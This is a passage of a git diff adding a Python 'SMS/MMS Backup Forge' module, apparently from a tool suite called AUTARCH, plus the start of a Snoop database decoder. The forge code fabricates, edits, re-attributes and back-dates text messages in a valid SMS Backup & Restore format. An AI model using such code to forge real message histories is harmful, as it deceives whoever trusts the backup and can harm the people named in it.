+ 'chset': '106', 'cd': 'null', 'fn': 'null',
+ 'cid': 'null', 'cl': 'txt000.txt',
+ 'ctt_s': 'null', 'ctt_t': 'null',
+ 'text': body, 'data': 'null',
+ })
+
+ text_only = '1' if not has_media else '0'
+
+ # Address records
+ addrs = []
+ if msg_box == 1:
+ # Received: sender is type 137, self is type 151
+ addrs.append({'address': address, 'type': '137', 'charset': '106'})
+ addrs.append({'address': 'insert-address-token', 'type': '151', 'charset': '106'})
+ else:
+ # Sent: self is type 137, recipient is type 151
+ addrs.append({'address': 'insert-address-token', 'type': '137', 'charset': '106'})
+ addrs.append({'address': address, 'type': '151', 'charset': '106'})
+
+ msg: Dict[str, Any] = {
+ 'msg_kind': 'mms',
+ 'date': timestamp,
+ 'ct_t': 'application/vnd.wap.multipart.related',
+ 'msg_box': msg_box,
+ 'address': address,
+ 'sub': 'null',
+ 'retr_st': 'null',
+ 'd_tm': 'null',
+ 'exp': 'null',
+ 'locked': 0,
+ 'm_id': 'null',
+ 'st': 'null',
+ 'retr_txt_cs': 'null',
+ 'retr_txt': 'null',
+ 'creator': 'null',
+ 'date_sent': '0',
+ 'seen': 1,
+ 'm_size': 'null',
+ 'rr': '129',
+ 'sub_cs': 'null',
+ 'resp_st': 'null',
+ 'ct_cls': 'null',
+ 'm_cls': 'personal',
+ 'd_rpt': '129',
+ 'v': '18',
+ '_id': str(len(self._messages) + 1),
+ 'tr_id': 'null',
+ 'resp_txt': 'null',
+ 'ct_l': 'null',
+ 'm_type': '132',
+ 'readable_date': self._timestamp_to_readable(timestamp),
+ 'contact_name': contact_name,
+ 'pri': '129',
+ 'sub_id': '-1',
+ 'text_only': text_only,
+ 'parts': parts,
+ 'addrs': addrs,
+ 'body': body,
+ }
+ self._messages.append(msg)
+ return {'ok': True, 'index': len(self._messages) - 1, 'date': timestamp}
+
+ def add_conversation(self, address: str, contact_name: str,
+ messages: List[Dict[str, Any]],
+ start_timestamp: Optional[int] = None) -> Dict[str, Any]:
+ """Add a full conversation from a list of message dicts.
+
+ Each message dict: {body: str, type: int (1=received, 2=sent), delay_minutes: int}
+ """
+ if start_timestamp is None:
+ start_timestamp = int(time.time() * 1000)
+
+ current_ts = start_timestamp
+ added = 0
+ for msg in messages:
+ delay = msg.get('delay_minutes', 0)
+ current_ts += delay * 60 * 1000
+ self.add_sms(
+ address=address,
+ body=msg.get('body', ''),
+ msg_type=msg.get('type', 1),
+ timestamp=current_ts,
+ contact_name=contact_name,
+ read=msg.get('read', 1),
+ locked=msg.get('locked', 0),
+ )
+ added += 1
+
+ return {
+ 'ok': True,
+ 'added': added,
+ 'start': start_timestamp,
+ 'end': current_ts,
+ }
+
+ def generate_conversation(self, address: str, contact_name: str,
+ template: str, variables: Optional[Dict[str, str]] = None,
+ start_timestamp: Optional[int] = None) -> Dict[str, Any]:
+ """Generate a conversation from a template with variable substitution.
+
+ Args:
+ address: Phone number
+ contact_name: Display name
+ template: Template name (e.g. 'business_meeting', 'casual_chat')
+ variables: Dict of variable names to values for substitution
+ start_timestamp: Starting epoch ms timestamp
+ """
+ tmpl = self._get_template(template)
+ if tmpl is None:
+ return {'ok': False, 'error': f'Template not found: {template}'}
+
+ if variables is None:
+ variables = {}
+
+ messages = []
+ for msg_tmpl in tmpl.get('messages', []):
+ body = msg_tmpl['body']
+ for key, val in variables.items():
+ body = body.replace('{' + key + '}', str(val))
+ messages.append({
+ 'body': body,
+ 'type': msg_tmpl.get('type', 1),
+ 'delay_minutes': msg_tmpl.get('delay_minutes', 0),
+ })
+
+ return self.add_conversation(address, contact_name, messages, start_timestamp)
+
+ def bulk_add(self, csv_path: str) -> Dict[str, Any]:
+ """Import messages from CSV file.
+
+ Expected CSV columns: address, body, type, timestamp, contact_name
+ """
+ path = Path(csv_path)
+ if not path.exists():
+ return {'ok': False, 'error': f'File not found: {csv_path}'}
+ try:
+ added = 0
+ errors = []
+ with open(str(path), 'r', encoding='utf-8', newline='') as f:
+ reader = csv.DictReader(f)
+ for row_num, row in enumerate(reader, start=2):
+ try:
+ address = row.get('address', '').strip()
+ body = row.get('body', '').strip()
+ msg_type = int(row.get('type', '1').strip())
+ ts_str = row.get('timestamp', '').strip()
+ timestamp = int(ts_str) if ts_str else None
+ contact_name = row.get('contact_name', '(Unknown)').strip()
+ self.add_sms(address, body, msg_type, timestamp, contact_name)
+ added += 1
+ except Exception as e:
+ errors.append(f'Row {row_num}: {e}')
+ result: Dict[str, Any] = {'ok': True, 'added': added}
+ if errors:
+ result['errors'] = errors
+ return result
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ # ── Message Modification ────────────────────────────────────────────────
+
+ def find_messages(self, address: Optional[str] = None,
+ date_from: Optional[int] = None,
+ date_to: Optional[int] = None,
+ keyword: Optional[str] = None) -> List[Dict[str, Any]]:
+ """Search messages with filters. Returns list of {index, ...msg} dicts."""
+ results = []
+ for i, msg in enumerate(self._messages):
+ if address and msg.get('address', '') != address:
+ continue
+ msg_date = msg.get('date', 0)
+ if date_from and msg_date < date_from:
+ continue
+ if date_to and msg_date > date_to:
+ continue
+ if keyword:
+ body = msg.get('body', '')
+ if msg.get('msg_kind') == 'mms' and not body:
+ for part in msg.get('parts', []):
+ if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null':
+ body = part['text']
+ break
+ if keyword.lower() not in body.lower():
+ continue
+ result = dict(msg)
+ result['index'] = i
+ results.append(result)
+ return results
+
+ def modify_message(self, index: int, new_body: Optional[str] = None,
+ new_timestamp: Optional[int] = None,
+ new_contact: Optional[str] = None) -> Dict[str, Any]:
+ """Modify an existing message by index."""
+ if index < 0 or index >= len(self._messages):
+ return {'ok': False, 'error': f'Invalid index: {index}'}
+
+ msg = self._messages[index]
+ if new_body is not None:
+ if msg.get('msg_kind') == 'mms':
+ # Update text part in MMS
+ found_text = False
+ for part in msg.get('parts', []):
+ if part.get('ct') == 'text/plain':
+ part['text'] = new_body
+ found_text = True
+ break
+ if not found_text:
+ msg.setdefault('parts', []).append({
+ 'seq': '0', 'ct': 'text/plain', 'name': 'null',
+ 'chset': '106', 'cd': 'null', 'fn': 'null',
+ 'cid': 'null', 'cl': 'txt000.txt',
+ 'ctt_s': 'null', 'ctt_t': 'null',
+ 'text': new_body, 'data': 'null',
+ })
+ msg['body'] = new_body
+ else:
+ msg['body'] = new_body
+
+ if new_timestamp is not None:
+ msg['date'] = new_timestamp
+ msg['readable_date'] = self._timestamp_to_readable(new_timestamp)
+
+ if new_contact is not None:
+ msg['contact_name'] = new_contact
+
+ return {'ok': True, 'index': index}
+
+ def delete_messages(self, indices: List[int]) -> Dict[str, Any]:
+ """Delete messages by index. Indices are processed in reverse order."""
+ valid = [i for i in sorted(set(indices), reverse=True)
+ if 0 <= i < len(self._messages)]
+ for i in valid:
+ self._messages.pop(i)
+ return {'ok': True, 'deleted': len(valid), 'remaining': len(self._messages)}
+
+ def replace_contact(self, old_address: str, new_address: str,
+ new_name: Optional[str] = None) -> Dict[str, Any]:
+ """Change contact address (and optionally name) across all messages."""
+ updated = 0
+ for msg in self._messages:
+ if msg.get('address') == old_address:
+ msg['address'] = new_address
+ if new_name is not None:
+ msg['contact_name'] = new_name
+ updated += 1
+ # Also update MMS addr records
+ for addr in msg.get('addrs', []):
+ if addr.get('address') == old_address:
+ addr['address'] = new_address
+ return {'ok': True, 'updated': updated}
+
+ def shift_timestamps(self, address: Optional[str], offset_minutes: int) -> Dict[str, Any]:
+ """Shift all timestamps for a contact (or all messages if address is None)."""
+ offset_ms = offset_minutes * 60 * 1000
+ shifted = 0
+ for msg in self._messages:
+ if address is None or msg.get('address') == address:
+ msg['date'] = msg.get('date', 0) + offset_ms
+ msg['readable_date'] = self._timestamp_to_readable(msg['date'])
+ shifted += 1
+ return {'ok': True, 'shifted': shifted, 'offset_minutes': offset_minutes}
+
+ # ── Conversation Templates ──────────────────────────────────────────────
+
+ def get_templates(self) -> Dict[str, Any]:
+ """Return all available conversation templates (built-in + custom)."""
+ templates = {}
+ for key, tmpl in BUILTIN_TEMPLATES.items():
+ templates[key] = {
+ 'name': tmpl['name'],
+ 'description': tmpl['description'],
+ 'variables': tmpl.get('variables', []),
+ 'message_count': len(tmpl.get('messages', [])),
+ 'messages': tmpl.get('messages', []),
+ 'builtin': True,
+ }
+ for key, tmpl in self._custom_templates.items():
+ templates[key] = {
+ 'name': tmpl.get('name', key),
+ 'description': tmpl.get('description', ''),
+ 'variables': tmpl.get('variables', []),
+ 'message_count': len(tmpl.get('messages', [])),
+ 'messages': tmpl.get('messages', []),
+ 'builtin': False,
+ }
+ return templates
+
+ def save_custom_template(self, key: str, template: Dict[str, Any]) -> Dict[str, Any]:
+ """Save a custom template."""
+ self._custom_templates[key] = template
+ self._save_custom_templates()
+ return {'ok': True, 'key': key}
+
+ def delete_custom_template(self, key: str) -> Dict[str, Any]:
+ """Delete a custom template."""
+ if key in self._custom_templates:
+ del self._custom_templates[key]
+ self._save_custom_templates()
+ return {'ok': True}
+ return {'ok': False, 'error': f'Template not found: {key}'}
+
+ def _get_template(self, name: str) -> Optional[Dict[str, Any]]:
+ """Look up a template by name from built-in and custom templates."""
+ if name in BUILTIN_TEMPLATES:
+ return BUILTIN_TEMPLATES[name]
+ if name in self._custom_templates:
+ return self._custom_templates[name]
+ return None
+
+ def _load_custom_templates(self):
+ """Load custom templates from disk."""
+ tmpl_file = self._data_dir / 'custom_templates.json'
+ if tmpl_file.exists():
+ try:
+ self._custom_templates = json.loads(tmpl_file.read_text('utf-8'))
+ except Exception:
+ self._custom_templates = {}
+
+ def _save_custom_templates(self):
+ """Persist custom templates to disk."""
+ tmpl_file = self._data_dir / 'custom_templates.json'
+ tmpl_file.write_text(json.dumps(self._custom_templates, indent=2), encoding='utf-8')
+
+ # ── Export / Import ─────────────────────────────────────────────────────
+
+ def export_xml(self, path: str) -> Dict[str, Any]:
+ """Export current messages to SMS Backup & Restore XML format."""
+ return self.save_backup(path)
+
+ def import_xml(self, path: str) -> Dict[str, Any]:
+ """Import messages from an XML backup file (appends to current messages)."""
+ old_messages = list(self._messages)
+ old_backup_set = self._backup_set
+ old_backup_date = self._backup_date
+ result = self.load_backup(path)
+ if result.get('ok'):
+ new_messages = list(self._messages)
+ self._messages = old_messages + new_messages
+ self._backup_set = old_backup_set
+ self._backup_date = old_backup_date
+ result['added'] = len(new_messages)
+ result['total'] = len(self._messages)
+ else:
+ self._messages = old_messages
+ self._backup_set = old_backup_set
+ self._backup_date = old_backup_date
+ return result
+
+ def export_csv(self, path: str) -> Dict[str, Any]:
+ """Export current messages to CSV format."""
+ try:
+ out = Path(path)
+ out.parent.mkdir(parents=True, exist_ok=True)
+ with open(str(out), 'w', encoding='utf-8', newline='') as f:
+ writer = csv.writer(f)
+ writer.writerow(['address', 'body', 'type', 'timestamp',
+ 'contact_name', 'readable_date', 'msg_kind'])
+ for msg in self._messages:
+ body = msg.get('body', '')
+ if msg.get('msg_kind') == 'mms' and not body:
+ for part in msg.get('parts', []):
+ if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null':
+ body = part['text']
+ break
+ msg_type = msg.get('type', msg.get('msg_box', 1))
+ writer.writerow([
+ msg.get('address', ''),
+ body,
+ msg_type,
+ msg.get('date', 0),
+ msg.get('contact_name', ''),
+ msg.get('readable_date', ''),
+ msg.get('msg_kind', 'sms'),
+ ])
+ return {
+ 'ok': True,
+ 'path': str(out),
+ 'count': len(self._messages),
+ 'size': out.stat().st_size,
+ }
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def import_csv(self, path: str) -> Dict[str, Any]:
+ """Import messages from CSV (same format as export_csv)."""
+ return self.bulk_add(path)
+
+ def validate_backup(self, path: str) -> Dict[str, Any]:
+ """Validate XML structure matches SMS Backup & Restore format."""
+ p = Path(path)
+ if not p.exists():
+ return {'ok': False, 'valid': False, 'error': 'File not found'}
+
+ issues: List[str] = []
+ try:
+ tree = ET.parse(str(p))
+ root = tree.getroot()
+
+ if root.tag != 'smses':
+ issues.append(f'Root element is <{root.tag}>, expected ')
+
+ if not root.get('count'):
+ issues.append('Missing count attribute on ')
+ else:
+ declared = int(root.get('count', '0'))
+ actual = len(list(root))
+ if declared != actual:
+ issues.append(f'Count mismatch: declared {declared}, actual {actual}')
+
+ if not root.get('backup_set'):
+ issues.append('Missing backup_set attribute')
+ if not root.get('backup_date'):
+ issues.append('Missing backup_date attribute')
+
+ sms_req = ['address', 'date', 'type', 'body']
+ mms_req = ['date', 'msg_box', 'address']
+
+ for i, elem in enumerate(root):
+ if elem.tag == 'sms':
+ for attr in sms_req:
+ if elem.get(attr) is None:
+ issues.append(f'SMS #{i}: missing required attribute "{attr}"')
+ elif elem.tag == 'mms':
+ for attr in mms_req:
+ if elem.get(attr) is None:
+ issues.append(f'MMS #{i}: missing required attribute "{attr}"')
+ parts = elem.find('parts')
+ if parts is None:
+ issues.append(f'MMS #{i}: missing element')
+ addrs = elem.find('addrs')
+ if addrs is None:
+ issues.append(f'MMS #{i}: missing element')
+ else:
+ issues.append(f'Element #{i}: unexpected tag <{elem.tag}>')
+
+ return {
+ 'ok': True,
+ 'valid': len(issues) == 0,
+ 'issues': issues,
+ 'element_count': len(list(root)),
+ }
+
+ except ET.ParseError as e:
+ return {'ok': False, 'valid': False, 'error': f'XML parse error: {e}'}
+ except Exception as e:
+ return {'ok': False, 'valid': False, 'error': str(e)}
+
+ # ── XML Builder ─────────────────────────────────────────────────────────
+
+ def _build_xml(self) -> str:
+ """Build the full XML string in SMS Backup & Restore format."""
+ lines = []
+ lines.append("")
+ lines.append('')
+
+ count = len(self._messages)
+ backup_date = str(self._backup_date)
+ lines.append(
+ f''
+ )
+
+ for msg in self._messages:
+ if msg.get('msg_kind') == 'mms':
+ lines.append(self._build_mms_element(msg))
+ else:
+ lines.append(self._build_sms_element(msg))
+
+ lines.append(' ')
+ return '\n'.join(lines)
+
+ def _build_sms_element(self, msg: Dict[str, Any]) -> str:
+ """Build a single XML element."""
+ attrs = {
+ 'protocol': str(msg.get('protocol', '0')),
+ 'address': str(msg.get('address', '')),
+ 'date': str(msg.get('date', 0)),
+ 'type': str(msg.get('type', 1)),
+ 'subject': str(msg.get('subject', 'null')),
+ 'body': str(msg.get('body', '')),
+ 'toa': str(msg.get('toa', 'null')),
+ 'sc_toa': str(msg.get('sc_toa', 'null')),
+ 'service_center': str(msg.get('service_center', 'null')),
+ 'read': str(msg.get('read', 1)),
+ 'status': str(msg.get('status', -1)),
+ 'locked': str(msg.get('locked', 0)),
+ 'sub_id': str(msg.get('sub_id', '-1')),
+ 'readable_date': str(msg.get('readable_date', '')),
+ 'contact_name': str(msg.get('contact_name', '(Unknown)')),
+ }
+ attr_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in attrs.items())
+ return f' '
+
+ def _build_mms_element(self, msg: Dict[str, Any]) -> str:
+ """Build a single ... XML element."""
+ mms_attrs = {
+ 'date': str(msg.get('date', 0)),
+ 'ct_t': str(msg.get('ct_t', 'application/vnd.wap.multipart.related')),
+ 'msg_box': str(msg.get('msg_box', 1)),
+ 'address': str(msg.get('address', '')),
+ 'sub': str(msg.get('sub', 'null')),
+ 'retr_st': str(msg.get('retr_st', 'null')),
+ 'd_tm': str(msg.get('d_tm', 'null')),
+ 'exp': str(msg.get('exp', 'null')),
+ 'locked': str(msg.get('locked', 0)),
+ 'm_id': str(msg.get('m_id', 'null')),
+ 'st': str(msg.get('st', 'null')),
+ 'retr_txt_cs': str(msg.get('retr_txt_cs', 'null')),
+ 'retr_txt': str(msg.get('retr_txt', 'null')),
+ 'creator': str(msg.get('creator', 'null')),
+ 'date_sent': str(msg.get('date_sent', '0')),
+ 'seen': str(msg.get('seen', 1)),
+ 'm_size': str(msg.get('m_size', 'null')),
+ 'rr': str(msg.get('rr', '129')),
+ 'sub_cs': str(msg.get('sub_cs', 'null')),
+ 'resp_st': str(msg.get('resp_st', 'null')),
+ 'ct_cls': str(msg.get('ct_cls', 'null')),
+ 'm_cls': str(msg.get('m_cls', 'personal')),
+ 'd_rpt': str(msg.get('d_rpt', '129')),
+ 'v': str(msg.get('v', '18')),
+ '_id': str(msg.get('_id', '1')),
+ 'tr_id': str(msg.get('tr_id', 'null')),
+ 'resp_txt': str(msg.get('resp_txt', 'null')),
+ 'ct_l': str(msg.get('ct_l', 'null')),
+ 'm_type': str(msg.get('m_type', '132')),
+ 'readable_date': str(msg.get('readable_date', '')),
+ 'contact_name': str(msg.get('contact_name', '(Unknown)')),
+ 'pri': str(msg.get('pri', '129')),
+ 'sub_id': str(msg.get('sub_id', '-1')),
+ 'text_only': str(msg.get('text_only', '0')),
+ }
+ attr_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in mms_attrs.items())
+
+ lines = [f' ']
+
+ # Parts
+ lines.append(' ')
+ for part in msg.get('parts', []):
+ part_attrs = {
+ 'seq': str(part.get('seq', '0')),
+ 'ct': str(part.get('ct', 'text/plain')),
+ 'name': str(part.get('name', 'null')),
+ 'chset': str(part.get('chset', 'null')),
+ 'cd': str(part.get('cd', 'null')),
+ 'fn': str(part.get('fn', 'null')),
+ 'cid': str(part.get('cid', 'null')),
+ 'cl': str(part.get('cl', 'null')),
+ 'ctt_s': str(part.get('ctt_s', 'null')),
+ 'ctt_t': str(part.get('ctt_t', 'null')),
+ 'text': str(part.get('text', 'null')),
+ 'data': str(part.get('data', 'null')),
+ }
+ pa_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in part_attrs.items())
+ lines.append(f' ')
+ lines.append(' ')
+
+ # Addrs
+ lines.append(' ')
+ for addr in msg.get('addrs', []):
+ addr_attrs = {
+ 'address': str(addr.get('address', '')),
+ 'type': str(addr.get('type', '137')),
+ 'charset': str(addr.get('charset', '106')),
+ }
+ aa_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in addr_attrs.items())
+ lines.append(f' ')
+ lines.append(' ')
+
+ lines.append(' ')
+ return '\n'.join(lines)
+
+ # ── Utility ─────────────────────────────────────────────────────────────
+
+ @staticmethod
+ def _generate_uuid() -> str:
+ """Generate a backup_set UUID."""
+ return str(uuid.uuid4())
+
+ @staticmethod
+ def _timestamp_to_readable(ms_timestamp: int) -> str:
+ """Convert epoch milliseconds to readable date string (SMS Backup & Restore format)."""
+ try:
+ dt = datetime.fromtimestamp(ms_timestamp / 1000.0)
+ # Format: "Mar 1, 2023 12:45:21 PM"
+ if os.name == 'nt':
+ return dt.strftime('%b %#d, %Y %#I:%M:%S %p')
+ return dt.strftime('%b %-d, %Y %-I:%M:%S %p')
+ except (ValueError, OSError, OverflowError):
+ return ''
+
+ @staticmethod
+ def _readable_to_timestamp(readable: str) -> Optional[int]:
+ """Convert readable date string to epoch milliseconds."""
+ formats = [
+ '%b %d, %Y %I:%M:%S %p',
+ '%b %d, %Y %H:%M:%S',
+ '%Y-%m-%d %H:%M:%S',
+ '%Y-%m-%dT%H:%M:%S',
+ '%m/%d/%Y %I:%M:%S %p',
+ '%m/%d/%Y %H:%M:%S',
+ ]
+ for fmt in formats:
+ try:
+ dt = datetime.strptime(readable.strip(), fmt)
+ return int(dt.timestamp() * 1000)
+ except ValueError:
+ continue
+ return None
+
+ @staticmethod
+ def _escape_xml(text: str) -> str:
+ """Proper XML attribute escaping."""
+ return html.escape(str(text), quote=True)
+
+ @staticmethod
+ def _encode_attachment(file_path: str) -> str:
+ """Base64 encode a file for MMS attachment data."""
+ with open(file_path, 'rb') as f:
+ return base64.b64encode(f.read()).decode('ascii')
+
+ def get_messages(self) -> List[Dict[str, Any]]:
+ """Return a copy of all messages with indices."""
+ result = []
+ for i, msg in enumerate(self._messages):
+ m = dict(msg)
+ m['index'] = i
+ result.append(m)
+ return result
+
+ def clear_messages(self):
+ """Clear all messages from the working set."""
+ self._messages = []
+ self._backup_set = self._generate_uuid()
+ self._backup_date = int(time.time() * 1000)
+
+ def get_status(self) -> Dict[str, Any]:
+ """Module status information."""
+ return {
+ 'ok': True,
+ 'module': 'sms_forge',
+ 'version': VERSION,
+ 'description': DESCRIPTION,
+ 'message_count': len(self._messages),
+ 'backup_set': self._backup_set,
+ 'data_dir': str(self._data_dir),
+ 'custom_templates': len(self._custom_templates),
+ }
+
+ def run(self):
+ """CLI interactive menu for the SMS Forge module."""
+ while True:
+ print("\n" + "=" * 60)
+ print(" SMS/MMS Backup Forge")
+ print("=" * 60)
+ print(f" Messages loaded: {len(self._messages)}")
+ print()
+ print(" 1. Create new backup")
+ print(" 2. Load existing backup")
+ print(" 3. Add SMS message")
+ print(" 4. Add MMS message")
+ print(" 5. Add conversation")
+ print(" 6. Generate from template")
+ print(" 7. Find messages")
+ print(" 8. Modify message")
+ print(" 9. Delete messages")
+ print(" 10. Replace contact")
+ print(" 11. Shift timestamps")
+ print(" 12. Export XML")
+ print(" 13. Export CSV")
+ print(" 14. Import CSV (bulk)")
+ print(" 15. Merge backups")
+ print(" 16. Validate backup")
+ print(" 17. View stats")
+ print(" 18. List templates")
+ print(" 0. Exit")
+ print()
+
+ try:
+ choice = input(" Select: ").strip()
+ except (EOFError, KeyboardInterrupt):
+ break
+
+ if choice == '0':
+ break
+ elif choice == '1':
+ self._cli_create_backup()
+ elif choice == '2':
+ self._cli_load_backup()
+ elif choice == '3':
+ self._cli_add_sms()
+ elif choice == '4':
+ self._cli_add_mms()
+ elif choice == '5':
+ self._cli_add_conversation()
+ elif choice == '6':
+ self._cli_generate_template()
+ elif choice == '7':
+ self._cli_find_messages()
+ elif choice == '8':
+ self._cli_modify_message()
+ elif choice == '9':
+ self._cli_delete_messages()
+ elif choice == '10':
+ self._cli_replace_contact()
+ elif choice == '11':
+ self._cli_shift_timestamps()
+ elif choice == '12':
+ self._cli_export_xml()
+ elif choice == '13':
+ self._cli_export_csv()
+ elif choice == '14':
+ self._cli_import_csv()
+ elif choice == '15':
+ self._cli_merge_backups()
+ elif choice == '16':
+ self._cli_validate()
+ elif choice == '17':
+ self._cli_stats()
+ elif choice == '18':
+ self._cli_list_templates()
+ else:
+ print(" Invalid selection.")
+
+ # ── CLI Helpers ─────────────────────────────────────────────────────────
+
+ def _cli_input(self, prompt: str, default: str = '') -> str:
+ """Read input with optional default."""
+ suffix = f' [{default}]' if default else ''
+ try:
+ val = input(f' {prompt}{suffix}: ').strip()
+ return val if val else default
+ except (EOFError, KeyboardInterrupt):
+ return default
+
+ def _cli_create_backup(self):
+ path = self._cli_input('Output path', str(self._data_dir / 'backup.xml'))
+ result = self.save_backup(path)
+ if result.get('ok'):
+ print(f" Backup created: {result['path']} ({result['count']} messages)")
+ else:
+ print(f" Error: {result.get('error')}")
+
+ def _cli_load_backup(self):
+ path = self._cli_input('XML file path')
+ if not path:
+ print(" No path provided.")
+ return
+ result = self.load_backup(path)
+ if result.get('ok'):
+ print(f" Loaded {result['count']} messages")
+ else:
+ print(f" Error: {result.get('error')}")
+
+ def _cli_add_sms(self):
+ address = self._cli_input('Phone number (e.g. +15551234567)')
+ body = self._cli_input('Message body')
+ type_str = self._cli_input('Type (1=received, 2=sent)', '1')
+ contact = self._cli_input('Contact name', '(Unknown)')
+ result = self.add_sms(address, body, int(type_str), contact_name=contact)
+ print(f" Added SMS at index {result['index']}")
+
+ def _cli_add_mms(self):
+ address = self._cli_input('Phone number')
+ body = self._cli_input('Text body')
+ box_str = self._cli_input('Msg box (1=received, 2=sent)', '1')
+ contact = self._cli_input('Contact name', '(Unknown)')
+ att_path = self._cli_input('Attachment file path (blank for none)')
+ attachments = []
+ if att_path and os.path.isfile(att_path):
+ ct = self._cli_input('Content type', 'image/jpeg')
+ attachments.append({
+ 'path': att_path,
+ 'content_type': ct,
+ 'filename': os.path.basename(att_path),
+ })
+ result = self.add_mms(address, body, attachments, int(box_str), contact_name=contact)
+ print(f" Added MMS at index {result['index']}")
+
+ def _cli_add_conversation(self):
+ address = self._cli_input('Phone number')
+ contact = self._cli_input('Contact name', '(Unknown)')
+ print(" Enter messages (empty body to finish):")
+ messages = []
+ while True:
+ body = self._cli_input(f' Message {len(messages) + 1} body')
+ if not body:
+ break
+ type_str = self._cli_input(' Type (1=received, 2=sent)', '1')
+ delay_str = self._cli_input(' Delay (minutes from previous)', '5')
+ messages.append({
+ 'body': body,
+ 'type': int(type_str),
+ 'delay_minutes': int(delay_str),
+ })
+ if messages:
+ result = self.add_conversation(address, contact, messages)
+ print(f" Added {result['added']} messages")
+ else:
+ print(" No messages to add.")
+
+ def _cli_generate_template(self):
+ templates = self.get_templates()
+ print(" Available templates:")
+ for key, tmpl in templates.items():
+ print(f" {key}: {tmpl['name']} -- {tmpl['description']}")
+ name = self._cli_input('Template name')
+ if name not in templates:
+ print(" Template not found.")
+ return
+ address = self._cli_input('Phone number')
+ contact = self._cli_input('Contact name')
+ variables = {}
+ tmpl = templates[name]
+ for var in tmpl.get('variables', []):
+ val = self._cli_input(f' {var}')
+ variables[var] = val
+ result = self.generate_conversation(address, contact, name, variables)
+ if result.get('ok'):
+ print(f" Generated {result.get('added', 0)} messages")
+ else:
+ print(f" Error: {result.get('error')}")
+
+ def _cli_find_messages(self):
+ address = self._cli_input('Filter by address (blank for all)')
+ keyword = self._cli_input('Filter by keyword (blank for all)')
+ results = self.find_messages(
+ address=address if address else None,
+ keyword=keyword if keyword else None,
+ )
+ print(f" Found {len(results)} messages:")
+ for msg in results[:20]:
+ direction = 'IN' if msg.get('type', msg.get('msg_box', 1)) == 1 else 'OUT'
+ body = msg.get('body', '')[:60]
+ print(f" [{msg['index']}] {direction} {msg.get('address', '')}: {body}")
+ if len(results) > 20:
+ print(f" ... and {len(results) - 20} more")
+
+ def _cli_modify_message(self):
+ idx_str = self._cli_input('Message index')
+ if not idx_str:
+ return
+ new_body = self._cli_input('New body (blank to skip)')
+ new_contact = self._cli_input('New contact name (blank to skip)')
+ result = self.modify_message(
+ int(idx_str),
+ new_body=new_body if new_body else None,
+ new_contact=new_contact if new_contact else None,
+ )
+ if result.get('ok'):
+ print(" Message modified.")
+ else:
+ print(f" Error: {result.get('error')}")
+
+ def _cli_delete_messages(self):
+ idx_str = self._cli_input('Message indices (comma-separated)')
+ if not idx_str:
+ return
+ indices = [int(x.strip()) for x in idx_str.split(',') if x.strip().isdigit()]
+ result = self.delete_messages(indices)
+ print(f" Deleted {result['deleted']} messages, {result['remaining']} remaining.")
+
+ def _cli_replace_contact(self):
+ old = self._cli_input('Old address')
+ new = self._cli_input('New address')
+ name = self._cli_input('New contact name (blank to keep)')
+ result = self.replace_contact(old, new, name if name else None)
+ print(f" Updated {result['updated']} messages.")
+
+ def _cli_shift_timestamps(self):
+ address = self._cli_input('Address (blank for all)')
+ offset = self._cli_input('Offset in minutes (negative to go back)')
+ result = self.shift_timestamps(
+ address if address else None,
+ int(offset),
+ )
+ print(f" Shifted {result['shifted']} messages by {result['offset_minutes']} minutes.")
+
+ def _cli_export_xml(self):
+ path = self._cli_input('Output path', str(self._data_dir / 'export.xml'))
+ result = self.export_xml(path)
+ if result.get('ok'):
+ print(f" Exported to {result['path']} ({result['count']} messages, {result['size']} bytes)")
+ else:
+ print(f" Error: {result.get('error')}")
+
+ def _cli_export_csv(self):
+ path = self._cli_input('Output path', str(self._data_dir / 'export.csv'))
+ result = self.export_csv(path)
+ if result.get('ok'):
+ print(f" Exported to {result['path']} ({result['count']} messages)")
+ else:
+ print(f" Error: {result.get('error')}")
+
+ def _cli_import_csv(self):
+ path = self._cli_input('CSV file path')
+ if not path:
+ return
+ result = self.bulk_add(path)
+ if result.get('ok'):
+ print(f" Imported {result['added']} messages")
+ if result.get('errors'):
+ for err in result['errors'][:5]:
+ print(f" Warning: {err}")
+ else:
+ print(f" Error: {result.get('error')}")
+
+ def _cli_merge_backups(self):
+ paths_str = self._cli_input('Backup file paths (comma-separated)')
+ if not paths_str:
+ return
+ paths = [p.strip() for p in paths_str.split(',') if p.strip()]
+ result = self.merge_backups(paths)
+ if result.get('ok'):
+ print(f" Merged: {result['total']} total messages ({result['added']} new)")
+ if result.get('errors'):
+ for err in result['errors']:
+ print(f" Error: {err}")
+
+ def _cli_validate(self):
+ path = self._cli_input('XML file path')
+ if not path:
+ return
+ result = self.validate_backup(path)
+ if result.get('valid'):
+ print(f" Valid backup ({result['element_count']} elements)")
+ else:
+ print(" Invalid backup:")
+ for issue in result.get('issues', []):
+ print(f" - {issue}")
+ if result.get('error'):
+ print(f" Error: {result['error']}")
+
+ def _cli_stats(self):
+ stats = self.get_backup_stats()
+ print(f" Total messages: {stats['total']}")
+ print(f" SMS: {stats['sms_count']}, MMS: {stats['mms_count']}")
+ print(f" Sent: {stats['sent']}, Received: {stats['received']}")
+ print(f" Contacts: {len(stats['contacts'])}")
+ if stats.get('date_range'):
+ dr = stats['date_range']
+ print(f" Date range: {dr['earliest_readable']} -- {dr['latest_readable']}")
+ for c in stats.get('contacts', [])[:10]:
+ print(f" {c['address']} ({c['name']}): {c['count']} messages")
+
+ def _cli_list_templates(self):
+ templates = self.get_templates()
+ for key, tmpl in templates.items():
+ tag = '[builtin]' if tmpl.get('builtin') else '[custom]'
+ print(f" {key} {tag}: {tmpl['name']}")
+ print(f" {tmpl['description']}")
+ print(f" Messages: {tmpl['message_count']}, Variables: {', '.join(tmpl.get('variables', []))}")
+ print()
diff --git a/modules/snoop_decoder.py b/modules/snoop_decoder.py
new file mode 100644
index 0000000..0ece6e2
--- /dev/null
+++ b/modules/snoop_decoder.py
@@ -0,0 +1,400 @@
+"""
+AUTARCH Snoop Database Decoder Module
+Decrypts and imports Snoop Project databases into AUTARCH
+"""
+
+import base64
+import json
+import os
+import sys
+from pathlib import Path
+
+# Add parent directory to path for imports
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+from core.banner import Colors
